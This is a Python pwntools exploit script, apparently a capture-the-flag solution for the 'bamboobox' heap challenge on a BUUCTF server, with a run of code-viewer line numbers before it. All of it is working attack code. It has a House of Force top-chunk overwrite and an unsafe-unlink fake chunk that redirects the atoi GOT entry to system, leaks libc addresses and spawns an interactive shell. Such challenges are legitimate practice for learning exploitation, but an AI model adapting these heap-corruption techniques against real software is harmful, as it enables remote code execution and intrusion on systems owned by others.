1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186
| from pwn import * from LibcSearcher import LibcSearcher context(os='linux',arch='amd64') context.log_level='DEBUG'
p = remote('node3.buuoj.cn',26203)
s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num=4096 :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,'\0')) uu64 = lambda data :u64(data.ljust(8,'\0')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def show(): ru("Your choice:") s(1) ru(' : ') return r(6)
def add(len,name): ru("Your choice:") s(2) ru("Please enter the length of item name:") s(len) ru("Please enter the name of item:") s(name)
def chage(index,name): ru("Your choice:") s(3) ru("Please enter the index of item:") s(index) ru("Please enter the length of item name:") s(len(name)) ru("Please enter the new name of the item:") s(name)
def remove(index): ru("Your choice:") s(4) ru("Please enter the index of item:") s(index)
def dbg(): gdb.attach(p) pause()
def hof(): add(0x30,'aaa')
offset = 0x10d0000 - 0x10d0060 malloc_size = offset - 0x8 payload = 'a'*0x30 + 'a'*8 + p64(0xffffffffffffffff) chage(0,payload)
add(malloc_size,'bbb')
add(0x10,p64(0x400D49)*2)
print ru("Your choice:") s(5) print r()
def unlinnk(): elf = ELF('./bamboobox',checksec=False) atoi_got = elf.got['atoi'] add(0x40,'aaa') add(0x80,'bbb') add(0x10,'ccc') target = 0x006020C8 fake_chunk = p64(0) + p64(0x41) fake_chunk += p64(target - 0x18) + p64(target - 0x10) fake_chunk += p64(0)*4 fake_chunk += p64(0x40) + p64(0x90) chage(0,fake_chunk) remove(1) payload = p64(0)*2 + p64(0x40) + p64(atoi_got) chage(0,payload) atoi_addr = u64(show().ljust(8,'\x00')) leak('atoi',atoi_addr) libc = LibcSearcher('atoi',atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system') leak('system',system_addr)
chage(0,p64(system_addr))
ru("Your choice:") sl('sh') itr()
if __name__ == '__main__': unlinnk()
|